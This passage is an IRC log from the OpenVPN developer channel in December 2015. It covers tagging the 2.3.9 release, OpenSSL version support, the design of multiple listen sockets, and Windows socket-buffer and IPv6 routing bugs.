he said he did something similar for a different project 02:13 <@cron2_> let's hope for the best :) 02:23 -!- floppym [~quassel@gentoo/developer/floppym] has quit [Read error: Connection reset by peer] 02:26 -!- floppym [~quassel@gentoo/developer/floppym] has joined #openvpn-devel 04:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:41 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 05:35 -!- dazo_afk is now known as dazo 05:37 <@dazo> cron2_: regarding the tty fix ... still half fixed on my sytem ... (git:master/38c8565810f892a4) ... username/password goes to tty, key password needs help from systemd-tty-ask-password-agent explicitly 05:39 <@dazo> cron2_: but can we please get my query username/password patches included ... and I'll get started fixing this whole thing, doing everything as early as possible (right after config have been parsed) 05:40 * dazo pokes at the openssl stuff now 06:00 <@cron2_> dazo: what do you mean by "half fixed"? Is it still printing the error message when you have systemd around? 06:01 <@dazo> no, not error messages ... but I need to start systemd-tty-ask-password-agent explicitly before I get the "Private key password" prompt 06:01 <@cron2_> the rest I did not break, so I wasn't looking into fixing yet - and I was just a bit busy with all the other work that needed to be done, sorry 06:05 <@cron2_> next steps: get out 2.3.9, as it is overdue (waiting for mattock's changes.rst). Then, return to reviewing patches - gava, dazo, plaisthos 06:06 <@cron2_> (basically what we have on yesterday's meeting list and could not reach) 06:07 <@cron2_> 2.3.10 is targeted for end-of-year with polar 2.3.10, so other stuff can hit a release quite soon 06:46 <@syzzer> I worked uit the polar-1.3 patch yesterday night. Will do some more testing, but it 06:46 <@syzzer> is basically ready to send to the list 06:50 <@cron2_> cool. Then the question remains who can review it... but comparing to the "master" 1.2->1.3 transition should help 06:54 <@syzzer> yes, it's basically cherry-picked commits from master 06:55 <@cron2_> well, that's sort of extending trust to whoever ACKed the master transition :-) - but since that stuff seems to work... 06:56 <@syzzer> yep 07:04 <@dazo> syzzer: We might need an SSL wrapper layer to make openvpn completely SSL library agnostic ......... /me runs fast, ducks and hides 07:05 <@syzzer> dazo: https://xkcd.com/927/ 07:05 <@vpnHelper> Title: xkcd: Standards (at xkcd.com) 07:05 <@dazo> hehehe 07:07 <@syzzer> both openssl 0.9.8 and 1.0.0 are end-of-life in 16 days... 07:08 <@cron2_> yeah, this is going to be intesting to watch 07:08 <@cron2_> freebsd 9.3 is still supported, but has 0.9.8za... 07:10 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 244 seconds] 07:10 -!- mattock_ is now known as mattock 07:11 <@cron2_> which brings up the question anyway how *we* are going to handle that... require 1.0.1 and up, or "keep supporting 0.9.8 in the assumption that vendors who ship that today will continue patching it"? 07:20 <@dazo> Red Hat have commitments to supporting these old OpenSSL releases where they are used .... So RHEL 5 will get security updates until end of March 2017, and for customers paying an additional support fee it will be prolonged to end of November 2020 07:20 <@dazo> but those fixes will only be shipped by Red Hat for RHEL ... what other distros does, I don't know 07:25 <@cron2_> but that means we'll have to continue supporting 0.9.8 until then - well, good, no need to argue (yet) :) 07:26 <@dazo> yeah ... at some point we can declare that f.ex. 2.4 will be the newest openvpn version supported on RHEL5 .... I don't have any issues with that 08:29 <@mattock> cron2: just read your email, again a hectic day 08:29 <@mattock> I will send changes.rst patches in about 10 minutes 09:37 <@cron2_> mattock: thanks. Will commit & push ASAP. Have to order pizza for the kids first :) 10:21 * cron2_ reorganizes mattock's Changes.rst somewhat... some of the stuff is in the wrong version section 10:52 <@plaisthos> we should as first change in master: Dropped Windows XP support 10:58 -!- s7r_ is now known as s7r 11:00 <@mattock> cron2: I should get out of my personal swamp by tomorrow afternoon 11:01 <@cron2_> I'll throw a heap of code into your swamp now :-) 11:03 <@cron2_> so 11:03 <@cron2_> Changes.rst committed, ChangeLog and version.m4 updated and committed, release/2.3 pushed 11:04 <@cron2_> mattock: if you can give this a quick test in the next 2-3 hours (while I'm not here) I'll tag v2.3.9 tonight and push, and then you can do the release tomorrow 11:05 <@mattock> yeah, that should be doable 11:10 <@cron2_> cool 11:11 <@cron2_> leaving now (dancing class), will return around 21:00 MET 13:14 <@vpnHelper> RSS Update - tickets: #640: Windows 7 wrong snd/rcv buffer size <https://community.openvpn.net/openvpn/ticket/640> 13:25 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 13:26 <@dazo> syzzer: cron2_: Haven't had too much time to look at the openssl date/expiry stuff ... but I've seen enough to see that making it work on <1.0.2 will indeed require far more work 13:27 <@syzzer> dazo: yeah, kind of disappointing huh... 13:27 <@dazo> I won't put it completely down ... but need to do some $PAIDWORK now ... have some deadlines approaching 13:31 <@dazo> syzzer: I was kind of kidding when I said the stuff about an agnostic SSL layer .... but seeing this from a bigger picture (bird view)... would it make sense to actually kick off such a project? ... at build time, you decide if you want the wrapper integrated with OpenSSL, embedTLS/PolarSSL, NSS, GNUTLS ... apps on top have a single API to relate to .... I know it's big task, challenges with feature compatibility and such ... but 13:31 <@dazo> could it actually make sense? 13:32 <@syzzer> dazo: well, it could be done, but sounds like a *lot* of work :p 13:32 <@dazo> the world will never unite on a single SSL/TLS library ... but I think application developers would benefit from a generic API .... like a glibc for TLS/crypto libraries 13:32 <@dazo> yeah ... I can imagine it being a big task, for sure :) 13:34 <@syzzer> I think it only makes sense for simpler applications, which really do not want to invest in supporting multiple backends and/or keeping up with crypto best practices 13:34 <@syzzer> give it sane default and a really simple interface 13:35 <@dazo> would you define openvpn as a "simpler application", in this context? 13:35 <@syzzer> 'open secure channel', 'wrap', 'unwrap' 13:35 <@syzzer> dazo: no 13:35 <@syzzer> we try to optimize our crypto operations on the data channel and require 'advanced' interfaces 13:36 <@dazo> right ... so, I would aim for the OpenVPN needs actually ... but having a "simple API" on top of that, that could be useful 13:36 <@syzzer> dazo: that might get tricky with features such as cipher lists 13:37 <@dazo> Right 13:37 <@syzzer> or using tls extensions, like the key-exporter 13:37 <@dazo> I won't start hacking anything this Christmas :) Just planting some seeds ... if the seed dies, nothing happens :) 13:38 <@syzzer> hehe, I don't want to discourage you, but I don't think I will be investing in this ;) 13:39 <@dazo> hehe ... that I can fully understand :) it's just that you have quite an overview, so it was worth checking out your opinion ;-) 13:40 <@syzzer> sure, np :) 13:43 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 13:43 <@mattock> uh, I will have to drop the ball for today 13:43 <@mattock> just got out of the internal meeting 13:44 <@mattock> openvpn-build requires some modifications 13:45 <@mattock> due to the openvpn/openvpn-gui changes by Selva 13:46 <@mattock> there's just too much stuff to do at this late hour... I will be unchained after lunchtime tomorrow, though, so release tomorrow _may_ be doable 13:46 <@mattock> if not, then thursday is very reasonable 14:23 <@syzzer> to prevent double work: I'm reviewing plaisthos' comp-v2 patch now 14:30 <@cron2_> mattock: well, I just need word whether release/2.3 is good (so I can tag+push tag) or something fatal is getting in the way (like, with 2.3.8 not working on windows with --auth-user-pass at all) 14:33 <@cron2_> syzzer: cool 14:33 <@cron2_> dazo: I don't think this is a really good 14:34 <@cron2_> really good idea - looking at what we have, the crypto libraries are so different inside that the wrapper would either be totally huge (and xkcd applies "now there are x competing standards"...) or incomplete for non-trivial applications, or just its own source of security relevant bugs 14:35 < valdikss> Will 2.3.9 be released today? 14:35 <@cron2_> and looking at, for example, curl with "we support every ssl library that exists!" is total madness 14:35 <@cron2_> valdikss: waiting for mattock... 15:12 <@dazo> cron2_: It is definitely a total madness if many projects does the same .... if more projects can use the same "glue wrapper", then you can actually get a more sane approach in the long run .... however, I recognize very well that it is no easy task. Crypto libraries are insanely varied in how they have been implemented and which APIs they expose ... Doing such an effort just for OpenVPN is also completely insane and plain stupid. 15:12 <@dazo> But if it could become flexible and provide a *sane* API which would attract other projects as well ... maybe it can be worth the effort 15:13 <@cron2_> why not just write another SSL library with a sane API that does everything right? 15:13 <@dazo> Having that said ... I am not ready to dive into that now ... More research is needed 15:14 <@cron2_> it it were so easy, one would assume that one of the 10(?) SSL libraries around would have managed by now :-) 15:14 <@dazo> because a new SSL library would require a new set of eyes reviewing it, testing it ... if the wrapper is "thin", that review process is much more lightweight 15:15 <@cron2_> if the API is sane *and* complete, it won't be thin :-) 15:15 <@dazo> that's way too early for me to say 15:17 * dazo need to run to catch a train 15:17 -!- dazo is now known as dazo_afk 19:01 < ltfish> cron2_: any chance to fix VS2010 compilation issue (the route.c thingy) in 2.3.9 release? I posted a patch yesterday 20:18 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 20:23 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 20:36 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 20:56 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 21:14 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 21:32 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 22:42 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 22:49 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Wed Dec 16 2015 01:24 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 01:32 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 01:39 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 01:47 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 02:08 <@cron2_> ltfish: 2.3.10 03:55 -!- dazo_afk is now known as dazo 04:37 <@d12fk> plaisthos: looking at the multiple sockets branch of yours 04:37 <@d12fk> have never looked at code in the area, would you be willing to answer some noob questions? 04:38 <@d12fk> pan is to have multiple sockets support "running" until next year 04:39 <@d12fk> *plan 04:51 <@plaisthos> d12fk: sure 05:05 <@d12fk> plaisthos: why is there need for the CM SECONDARY_TOP 05:07 <@d12fk> I get the the CM_TOP is the listening context for tcp and it spawns a CHILD for every connection coming in 05:07 <@d12fk> is it important to distinct between secondary top and top? 05:11 <@plaisthos> I am not 100% sure anymore 05:11 <@plaisthos> I think there was one initialisation that should only be done for the first udp socket 05:12 <@d12fk> ah ok 05:40 <@mattock> ah, finally a few hours of peaceful openvpn release time 05:41 <@mattock> or so I hope :D 05:48 < valdikss> By the way, I almost forgot, mssfix is off by 3. 05:48 < valdikss> mssfix 1450 works actually as mssfix 1453. 05:49 < valdikss> It's broken in 2.3.4+, probably even earlier 05:56 <@plaisthos> that sounds like the peer id stuff 06:03 <@cron2_> mattock: oh, cool :-) - so, can I tag v2.3.9 now? 06:04 <@mattock> I have not done any testing yet, but Windows installers are probably ready, checking... 06:04 <@mattock> not quite yet 06:08 <@mattock> the 64-bit build got stuck (connection issue?), takes a while to rebuild 06:41 <@mattock> another rebuild coming up, the nsi script needs a fix 06:49 <@mattock> interestingly openvpn-gui did not see my test openvpn config 06:49 <@mattock> while running openvpn manually from powershell worked just fine 06:57 <@d12fk> plaisthos: why is there //todo for udp in multi_tcp_process_io() 06:58 <@d12fk> are udp socket handled via the topcontexts array as well? 06:59 <@d12fk> the macro for this is MTCP_SOCKET_N, which is confusing me 07:05 <@plaisthos> d12fk: for udp you traditionally only needed one socket in total 07:05 <@plaisthos> for tcp multiple sockets 07:05 <@plaisthos> there is already the logic in there 07:05 <@plaisthos> so with multiple udp socket you can reuse much of the tcp logic 07:07 <@plaisthos> the MTCP_SOCKET_N is basically more or less a hack 07:08 <@plaisthos> struct context* top = m->topcontexts[e->arg-MTCP_SOCKET_N]; 07:08 <@plaisthos> gets the right top context 07:08 <@plaisthos> the argument is probably wrong 07:09 <@plaisthos> ah no it is right just poorly written without spaces around - :) 07:09 <@d12fk> ok, got it thanks 07:11 <@d12fk> so in the cleaned up version I'd rather move this into multi.c, but for the poc it is totally fine 07:12 <@d12fk> so, you have tcp running already or do I recall this incorrecly? 07:12 <@mattock> ah, my openvpn/openvpn-gui registry keys were messed up 07:12 <@mattock> now openvpn-gui sees the config 07:13 <@mattock> cron2: basic Windows + Ubuntu/Debian smoketests on 2.3.9 have passed 07:13 <@mattock> I think this is as good time as any to tag the release 07:26 <@mattock> anything else to highlight besides the DNS leak fix? 07:28 <@plaisthos> d12fk: either tcp or udp worked 07:29 <@plaisthos> d12fk: I think tcp 07:30 <@mattock> "This release [OpenVPN 2.3.9] includes many small improvements and fixes. The biggest change is the addition of --block-outside-dns option, which can be used to fix DNS leaks in Windows 8.1 and 10. There are also improvements to behavior during suspend/resume on Windows and integration with external service managers such as NSSM. Client-side part of server restart notification is also included. A full list of changes is available her 07:34 <@mattock> https://openvpn.net/index.php/download/community-downloads.html 07:34 <@vpnHelper> Title: Community Downloads (at openvpn.net) 07:34 <@mattock> I'll make the announcements next 07:35 <@d12fk> plaisthos: this init loop in tunnel_server_tcp(), shouldn't that go through MAX_TOPSOCKETS instead of 6? 07:36 <@plaisthos> d12fk: yes up to MAX_TOPSOCKETS 07:36 <@plaisthos> and max connections aka <listen> entries 07:37 <@plaisthos> basicially you want to create a context/socket for each listen statement 07:37 <@plaisthos> (and for listen statements that resolve to multiple ips you need even more top sockets) 07:38 <@d12fk> listen on a hostname? 07:38 <@plaisthos> yes 07:38 <@plaisthos> :) 07:38 <@plaisthos> you can do that at them moment too 07:38 * d12fk sighs 07:39 <@plaisthos> but don't fiddle with those details. I can probably help out on that part 07:40 <@d12fk> ok, currently only reading through the patch and fixing formatting, then turn to udp poc code and get back to you here 07:47 <@plaisthos> Yeah that stuff is WIP 07:48 <@plaisthos> but should give a good idea where to start :) 07:49 <@d12fk> still plenty confused to actually start, will stare that down first =) 07:49 <@plaisthos> :) 07:50 <@plaisthos> as a gross simplication 07:50 <@plaisthos> two things need to be done: 07:50 <@plaisthos> 1) construct the context and get them all in the event/loop/select stuff 07:51 <@plaisthos> 2) fix/change inherent_context so that it gets the right udp top socket (tcp should already work here) 07:51 <@plaisthos> (and probably fix a lot of other stuff that comes up) 07:57 <@d12fk> plaisthos: what could be in such a <listen> block? it is the listen directive only anyways, no? 07:58 <@plaisthos> d12fk: mostly yes 07:58 <@plaisthos> but not always 07:58 <@plaisthos> you could also have sockbuf options and other that are socket specific 07:59 <@plaisthos> also link-mtu and mssfix *might* work on specific listen socket without much effort 07:59 <@plaisthos> not sure 08:00 <@plaisthos> d12fk: and of course proto udp 08:00 <@plaisthos> proto tcp 08:00 <@plaisthos> something like 08:00 <@plaisthos> <listen> 08:00 <@plaisthos> local 10.0.0.1 08:00 <@plaisthos> proto udp 08:01 <@plaisthos> port 553 08:01 <@plaisthos> </listen> 08:01 <@plaisthos> and then next listen statement 08:03 <@d12fk> the proto can be appended as a undocumented third option the remote 08:05 <@d12fk> ah no confused it with remote 08:05 <@d12fk> but local could be extended to work in a similar way 08:06 <@d12fk> local a::b 1090 udp6 08:07 <@d12fk> local 1.2.3.4 443 tcp-server 08:07 <@d12fk> local 1.2.3.4 443 tcp6-server 08:07 <@d12fk> *local a::b 443 tcp6-server 08:08 <@d12fk> local 1.2.3.4 1090 udp 08:08 <@d12fk> to listen on 4 and 6 for both udp and tcp 08:08 <@d12fk> would be easier and look less like xml =) 08:09 <@plaisthos> d12fk: Yeah 08:09 <@d12fk> you could also do s.th like 08:09 <@d12fk> proto tcp6-server 08:09 <@d12fk> local 1.2.3.4 443 08:10 <@d12fk> local 1.2.3.4 8443 08:10 <@plaisthos> I worked too much on the connection stuff, so I found it cleaner 08:10 <@d12fk> local 1.2.3.4 80 08:10 <@d12fk> not sure if the sockopt stuff is worth it 08:10 <@plaisthos> internally we will probally convert either option to connection anyway 08:10 <@d12fk> do you want that per socket really? 08:10 <@d12fk> true 08:10 <@plaisthos> otherwise we need a new struct like listen_list 08:10 <@plaisthos> or something like that 08:11 <@d12fk> just like as for remote, it also ends up in a ce 08:11 <@plaisthos> yes 08:11 <@d12fk> ok i'll proceed then.. =) 08:11 <@plaisthos> but yes I agree that your local lines are nice 08:11 <@cron2_> To git@github.com:OpenVPN/openvpn.git * [new tag] v2.3.9 -> v2.3.9 08:11 <@cron2_> done! 08:11 <@plaisthos> we can still bikeshed when the rest works :) 08:12 <@cron2_> mattock: thanks for testing 08:12 <@d12fk> armwestling during the next hackathon =) 08:12 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 260 seconds] 08:13 <@d12fk> or fingerhakeln if we're in bavaria 08:13 <@plaisthos> or do whatever the Finish people do if we end up in Helsinki 08:13 <@cron2_> since "Helsinki" is in the list of possible options, I'm afraid it boils down to "vodka"... 08:13 <@d12fk> or sauna... o_O 08:20 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 08:25 <@dazo> okay ... so 2.3.9 is already in the release pipe for Fedora and RHEL (via EPEL) :) 08:27 < lev__> cron2_: or schnapps 08:30 <@plaisthos> what is typical Finish schnapps? 08:30 <@plaisthos> (I hope the answer is not vodka) 08:31 < lev__> jaloviina, I think. mattock? 08:31 < lev__> https://fi.wikipedia.org/wiki/Jaloviina 08:31 <@vpnHelper> Title: Jaloviina – Wikipedia (at fi.wikipedia.org) 08:37 <@plaisthos> I always have to think of Koorpiklaani vodka if I hear Finish and Vodka 08:37 <@plaisthos> (https://www.youtube.com/watch?v=e7kJRGPgvRQ) 08:39 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 08:47 <@cron2_> dazo: wooh, that was quick :-) 08:48 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 08:54 <@cron2_> ok, brb 09:54 <@mattock> koskenkorva is the classic Finnish "schnapps" 09:54 <@mattock> it's about the same as Vodka, except that it has a bit of sugar in it 09:55 <@mattock> so beer, sauna and koskenkorva 09:55 <@mattock> maybe also jaloviina 09:55 <@mattock> it's basically a mixture of vodka and cognac 09:55 <@mattock> the less cognac the better 09:55 <@mattock> :D 11:15 < ltfish> cron2_: cool. thanks! 11:36 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 12:58 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 13:12 -!- roentgen [~none@unaffiliated/roentgen] has quit [Remote host closed the connection] 14:50 -!- roentgen [~none@unaffiliated/roentgen] has joined #openvpn-devel 15:00 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has quit [Remote host closed the connection] 15:01 < valdikss> fknittel responded, said he will rebase his deferred patch and push it to the mail list over the holidays or early next year 15:14 -!- EvilJStoker [jstoker@unaffiliated/jstoker] has joined #openvpn-devel 16:58 -!- dazo is now known as dazo_afk 22:34 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 22:42 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Thu Dec 17 2015 00:12 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 00:15 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 03:19 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 03:24 <@plaisthos> I might start working on the NAT64 etc. stuff real soon 03:25 <@plaisthos> A VPN provider in the US has massive problem with T-mobile US and is looking for someone to solve the problem 03:25 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 04:26 <@syzzer> plaisthos: cool! 04:26 <@syzzer> an getting paid to do is really nice, ofc :) 05:14 -!- dazo_afk is now known as dazo 07:08 <@plaisthos> interesting 07:08 <@plaisthos> apple wants developers to fix their ipv6 and nat64bugs 07:09 <@plaisthos> A Apple Notebook can open a NAT64 Hotspot (https://developer.apple.com/library/ios/documentation/NetworkingInternetWeb/Conceptual/NetworkingOverview/UnderstandingandPreparingfortheIPv6Transition/UnderstandingandPreparingfortheIPv6Transition.html) 07:09 <@vpnHelper> Title: Supporting IPv6 DNS64/NAT64 Networks (at developer.apple.com) 07:09 <@plaisthos> so you don't have to fiddle around multiple hours to get a working setup 07:25 <@plaisthos> and a weird prefix 2001:2:0:aab1/64 07:33 <@plaisthos> I am positively surprised. 07:33 <@plaisthos> a) Android 5.1.1 with IPv6 only Wifi works 07:33 <@plaisthos> b) XLAT464 is automatically enabled in this scenario and works 07:34 <@plaisthos> c) connecting to a IPv4 VPN over XLAT464 works and does not break routing 07:34 <@plaisthos> I bet Samsung b) or c) 07:37 <@plaisthos> +broke 07:38 <@plaisthos> now I just need to get a device with a t-mobile us sim card to be adble to roam from Nat64 to another nat64 07:38 <@plaisthos> and most sad thing is probably that as long as I do the most stupid thing (using literal ipv4 addresses) it will work best 08:02 < valdikss> Guys, we really have buffer problems 08:03 < valdikss> https://community.openvpn.net/openvpn/ticket/640 08:03 <@vpnHelper> Title: #640 (Windows 7 wrong snd/rcv buffer size) – OpenVPN Community (at community.openvpn.net) 08:03 < valdikss> Buffers are really set to that value 08:05 <@plaisthos> which would be really strange 08:06 <@plaisthos> since the code should not even attempt to set the values on windows 08:07 < valdikss> yes! 08:07 < valdikss> I'm debugging that right now 08:07 < valdikss> I mean, without sndbuf and rcvbuf I have only 4 mbit/s for upload while with sndbuf 999999 40+ mbit/s 08:07 < valdikss> (via TCP) 08:10 <@plaisthos> the 8192 -> 8192 should also only displayed if the openvpn tries to set buffer (value read before and after set) 08:19 < valdikss> I'm not sure what's wrong, and OpenVPN indeed DOESN'T set buffer, only reads, but upload speed is very low without sndbuf. 08:20 < valdikss> Download is not that great also. Note that I'm testing with a low latency link, ping to the vpn server is only 17 ms, with VPN server with ping 120 ms it's unbearable slow. 08:21 < valdikss> And I'm definitely seeing ticket 640 right here. I'm constantly pinging 8.8.8.8 and it's usually replies in 17-19 ms, but while I'm speed testing over VPN i get up to 800 ms. 08:22 < valdikss> You may assume that's because of huge send buffer sizes, but that assumption is wrong. It _lowers_ the latency with higher sndbuf. 08:24 < valdikss> And it works like you explicitly set sndbuf 8192 and rcvbuf 8192. Could it be that if you _read_ that values on Windows, it _sets_ them? 08:24 <@cron2_> maybe that is just the default for windows? 08:25 <@cron2_> we've not been setting the buffers on windows by default ever... 08:26 < valdikss> cron2_: I don't know. None other application explicitly set buffer sizes ever and it works on Windows correctly 08:27 < valdikss> 8192 buffer size is _very_ limiting, it couldn't be default 08:37 < valdikss> patched socket_get_sndbuf and socket_get_rcvbuf to do nothing, still slow. 09:09 <@cron2_> the interesting question is: why does the socket buffer have *any* effect here at all 09:09 <@cron2_> if context switches are happening often enough, there shouldn't be the need to buffer more than one packet inside openvpn... 09:11 < valdikss> cron2_: sndbuf and rcvbuf for TCP doesn't only control socket buffers but also maximum tcp window size. 09:11 <@cron2_> oh, VPN over TCP? yeah. 09:11 < valdikss> cron2_: so setting buffer size for UDP is not needed but over TCP it's essential 09:11 * cron2_ never uses TCP except as fallback if UDP does not work 09:13 < valdikss> cron2_: so, something in Windows is definitely wrong, very wrong. I have 30/40 mbit/s VPN over UDP on Linux and there are none latency spikes when data is flowing but on Windows I get only 10/10 with latency spikes with all the same settings. 09:13 < valdikss> cron2_: could it be something broken in tap-adapter? 09:13 <@cron2_> with UDP or with TCP? 09:13 < valdikss> cron2_: with both. 09:14 <@cron2_> people claim the tap6 adapter has latency issues, so "possible" 09:20 < valdikss> cron2_: tap6? Where can I get tap4? 09:22 <@cron2_> the I00x packages have the old NDIS5 tap adapter, the I60x the NDIS6 one 09:23 < valdikss> cron2_: ah, NDIS5 is also affected for me. tap-windows-9.9.2_3.exe is NDIS5? 09:24 < valdikss> cron2_: I will try with the real WIndows 7 (I tested it in VM) and see if there are any differences 09:24 <@cron2_> yes, 9.9 seems to be NDIS5 and 9.22 or so is NDIS6 (which is a bit unfortunate naming) 09:27 < valdikss> cron2_: Actually, problem may come from that tap-adaper reports it's 10 mbit/s interface. 09:27 < valdikss> cron2_: it seems that Windows tune some paramteres depending on link speed. 09:42 < valdikss> Guys, this doesn't work on XP https://github.com/OpenVPN/openvpn/commit/ca8cead8fd8c00154f35b90593442e2bfa8f735d 09:42 <@vpnHelper> Title: Use adapter index for add/delete_route_ipv6 · OpenVPN/openvpn@ca8cead · GitHub (at github.com) 09:43 < valdikss> lev__: 09:45 < valdikss> This breaks ipv6 vpns because address assignments can't be filtered with route-nopull 09:58 < valdikss> Windows XP: without sndbuf and rcvbuf over UDP VPN download speed 2-3 mbit/s, upload 24 mbit/s. With sndbuf 999999 rcvbuf 999999 download 16 mbit/s upload 18 mbit/s. 09:58 < valdikss> Always reproducable 10:00 <@cron2_> valdikss: about the add/delete route - is this an XP with IPv6 enabled, and "interface=nn" isn't working, or an XP without IPv6 (where it would never work)? 10:00 < valdikss> cron2_: it's XP with IPv6 enabled. 2.3.8 works fine. 10:01 <@cron2_> sheesh 10:01 <@cron2_> lev__: are you listening? 10:01 < valdikss> lev__: I send him a PM 10:02 < valdikss> cron2_: btw, I see strange interface ID in XP. It's of 6 digits. Could it be and some function performs wrong? 10:02 < valdikss> cron2_: Usually it's 2 digits 10:03 <@cron2_> "netstat -rn" will show the correct interface id (at least on win7) - so it might be finding the wrong adapter index 10:05 < valdikss> Windows XP: without sndbuf and rcvbuf over TCP VPN download speed 15 mbit/s, upload 1.5-3 mbit/s. With sndbuf 999999 rcvbuf 999999 download 16 mbit/s upload 14 mbit/s. 10:05 < valdikss> So on Windows XP you get low download speed with UDP and low upload speed with TCP. Very strange. 10:06 < valdikss> Just to make things clear, exact same configuration on Linux transfers 40/40 with both protocols and buffer sizes. 10:08 <@cron2_> I totally have no time today to look into the interface index thing, but since we plan to do 2.3.10 before end of the year, we can get a patch in - either "fix finding the adapter index" or "have an ip-win32 option to revert to adapter name" 10:16 < valdikss> cron2_: netstat -m doesn't work in XP. 10:16 <@cron2_> -rn not -m 10:23 < valdikss> cron2_: it's really of 6 digits. 10:31 <@cron2_> in that case, please check netsh interface ipv6 help (or whatever it is called) whether using index is valid syntax... 10:37 <@cron2_> valdikss: as for filtering pushed options - you can apply my --push-suppress-ipv6 patch to the server. It hasn't been merged because we want something more flexible, but it helps for now 10:37 <@cron2_> (I did that for you anyway, IIRC) 10:37 <@cron2_> http://article.gmane.org/gmane.network.openvpn.devel/10310 10:37 <@vpnHelper> Title: Gmane -- PATCH Add option push suppress ipv6 to stop sending IPv6 info to clients. (at article.gmane.org) 10:37 <@cron2_> ok, need to run, will be back tomorrow morning 10:37 < valdikss> cron2_: yes I remember about that, thanks 10:38 <@cron2_> :) 10:57 < valdikss> Works fast on Windows 10 with either buffers set and not set. 11:04 < valdikss> Would test on 8 after get home 11:24 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 11:24 < lev__> https://fi.wikipedia.org/wiki/Jaloviina 11:24 <@vpnHelper> Title: Jaloviina – Wikipedia (at fi.wikipedia.org) 11:30 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 12:03 -!- reators [~holger@2001:1a80:2000:2:fdbf:d987:8fc1:8536] has quit [Quit: Leaving.] 13:18 -!- dazo is now known as dazo_afk 13:30 < valdikss> Ok, I'm home and ready for new tests 13:31 < valdikss> Should I simulate latency delay for input packets (ingress) or output (egress)? 14:03 <@mattock> fun fact: OpenSSL project support five different versions of OpenSSL simultaneously: https://www.openssl.org/news/newslog.html 14:03 <@vpnHelper> Title: OpenSSL (at www.openssl.org) 14:03 <@mattock> I didn't realize that until I was asked about why we don't bundle 1.0.2 16:07 < valdikss> I get higher speeds with blowfish and sha1 then with none/none on Windows 16:07 < valdikss> How could this be? 16:11 < lev__> uh, so should we just use name as before for xp and apply that fix for Win7+ (or vista+) 16:11 < lev__> sorry for that jaloviina link, was trying to use irc via screen via ssh client on android 17:45 < valdikss> https://community.openvpn.net/openvpn/ticket/364#comment:5 17:45 <@vpnHelper> Title: #364 (UDP over IPv6 packet fragementation calculation error.) – OpenVPN Community (at community.openvpn.net) 19:28 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 19:35 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Fri Dec 18 2015 00:21 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 00:27 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 04:17 -!- dazo_afk is now known as dazo 09:10 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 09:16 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 11:38 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 11:41 -!- noobkit [~Nerazim@94.98.235.121] has joined #openvpn-devel 11:43 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 12:51 -!- dazo is now known as dazo_afk 17:28 -!- noobkit [~Nerazim@94.98.235.121] has quit [Quit: "Though we strike at you from the shadows, do not think that we lack the courage to stand in the light." ~Zeratul to Sarah Kerrigan] 19:42 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 240 seconds] 19:51 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel --- Day changed Sat Dec 19 2015 03:47 -!- luckman212 [~luckman21@unaffiliated/luckman212] has quit [Ping timeout: 245 seconds] 03:54 -!- luckman212 [~luckman21@unaffiliated/luckman212] has joined #openvpn-devel 04:47 <@cron2_> interesting... setenv opt was only introduced in 2.3.3 - and I ACKed it 04:48 <@syzzer> cron2_: can you cherry-pick 7a85a6fafacba186ae2fc495d32e159ea9a57e0e and 98c5de769d6bcd4822b2fd81ae4f4b05edff5c0e from master to release/2.3 ? 04:50 <@cron2_> will that apply? 04:51 <@syzzer> it did for me 04:52 <@syzzer> I don't know why we 